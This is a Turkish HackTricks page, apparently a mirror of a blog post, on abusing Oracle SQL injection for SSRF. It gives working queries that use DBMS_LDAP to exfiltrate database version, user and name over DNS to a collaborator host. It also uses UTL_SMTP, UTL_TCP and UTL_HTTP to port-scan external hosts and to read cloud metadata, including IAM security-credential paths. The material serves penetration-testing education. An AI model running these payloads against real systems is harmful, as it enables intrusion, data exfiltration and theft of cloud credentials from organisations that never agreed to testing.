# Oracle enjeksiyonu
AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
**Bu gönderiyi silinen gönderinin [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) Wayback Machine kopyası olarak sunun.**
## SSRF
Oracle'ı kullanarak Out of Band HTTP ve DNS istekleri yapmak, enjeksiyonlarda SQL verilerini dışarı çıkarmak için iyi belgelenmiştir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA işlemleri için de değiştirebiliriz.
Oracle kurulumu gerçekten zorlayıcı olabilir, özellikle komutları denemek için hızlı bir örnek oluşturmak isterseniz. [Appsecco](https://appsecco.com)'daki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresine yönlendirdi ve bu sayede bir t2.large AWS Ubuntu makinesinde ve Docker üzerinde bir örnek kurulum yapabildim.
Docker komutunu `--network="host"` bayrağıyla çalıştırdım, böylece bu blog yazısı süresince Oracle'ı tam ağ erişimi olan yerel bir kurulum gibi taklit edebildim.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Bir URL veya Bir Ana Bilgisayar Adı/Port Numarası belirtimi destekleyen Oracle paketleri
Bir ana bilgisayar ve port belirtimini destekleyen herhangi bir paket ve fonksiyonu bulmak için, [Oracle Veritabanı Çevrimiçi Belgeleri](https://docs.oracle.com/database/121/index.html) üzerinde bir Google araması yaptım. Özellikle,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Arama aşağıdaki sonuçları döndürdü (hepsi dış ağa çıkış yapmak için kullanılamaz):
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Bu basit arama açıkçası `DBMS_LDAP` gibi paketleri atlar (hostname ve port numarası geçmeyi sağlar) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) yönlendirir. Bu nedenle, gözden kaçırdığım başka Oracle paketleri olabilir.
Her durumda, keşfettiğimiz ve yukarıda listelenen bazı paketlere bir göz atalım.
**DBMS\_LDAP.INIT**
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` işlevi, bir LDAP sunucusuyla bir oturumu başlatır ve bir hostname ve port numarasını argüman olarak alır.
Bu işlev daha önce DNS üzerinden veri sızdırma göstermek için belgelenmiştir, örneğin aşağıdaki gibi:
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Ancak, işlevin bir ana bilgisayar adı ve bir bağlantı noktası numarası kabul ettiği göz önüne alındığında, bunu bir bağlantı noktası tarayıcısı gibi çalıştırmak için de kullanabilirsiniz.
İşte birkaç örnek:
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Başlatma Başarısız.` hatası, bir oturum değeri açık olan bağlantı noktasına işaret ederken, bağlantı noktasının kapalı olduğunu gösterir.
**UTL\_SMTP**
`UTL_SMTP` paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. [Oracle belgelendirme sitesindeki örnek, bu paketi kullanarak nasıl bir e-posta gönderebileceğinizi göstermektedir](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Ancak bizim için ilginç olan şey, bir ana bilgisayar ve bağlantı noktası belirtme yeteneğidir.
Aşağıda, `UTL_SMTP.OPEN_CONNECTION` işleviyle 2 saniyelik bir zaman aşımı ile basit bir örnek gösterilmektedir.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: transfer timeout` hatası, portun açık olduğunu ancak SMTP bağlantısının kurulmadığını gösterirken, `ORA-29278: SMTP transient error: 421 Service not available` hatası, portun kapalı olduğunu gösterir.
**UTL\_TCP**
`UTL_TCP` paketi ve işlemleri, [TCP/IP tabanlı hizmetlerle iletişim kurmayı](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yolu haline gelebilir veya bir TCP/IP bağlantısının tüm yönlerini kontrol ederek tam Sunucu Tarafı İstekler gerçekleştirebilir.
Oracle belgelendirme sitesindeki örnek [bu paketi kullanarak bir web sayfasını almak için raw bir TCP bağlantısı yapabileceğinizi göstermektedir](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Biz bunu biraz daha basitleştirerek, örneğin meta veri örneğine veya herhangi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde bu paket, TCP isteği içinde yöntem türü ve ek başlıkların da iletilmesiyle tüm bulut sağlayıcıların Örnek meta veri hizmetini sorgulamak için de kullanılabilir.
**UTL\_HTTP ve Web İstekleri**
Belki de her Oracle SQL Injection dışında OOB (Out of Band) Oracle SQL Injection öğreticisinde en yaygın ve geniş belgelenmiş teknik olan [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. İnternet üzerindeki verilere HTTP üzerinden erişmek için kullanabilirsiniz.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Ayrıca, şu gibi sorgularla basit bir port taraması yapmak için bunu da kullanabilirsiniz:
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP bağlantı noktasının kapalı olduğunun bir işaretidir, oysa `ORA-29263: HTTP protocol error` veya veri, bağlantı noktasının açık olduğunun bir işaretidir.
Geçmişte değişen başarıyla kullandığım başka bir paket, [`HTTPURITYPE` Oracle soyut tipinin `GETCLOB()` yöntemidir](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705). Bu yöntem, bir URL ile etkileşimde bulunmanıza ve HTTP protokolü için destek sağlar. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak almak için kullanılır.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.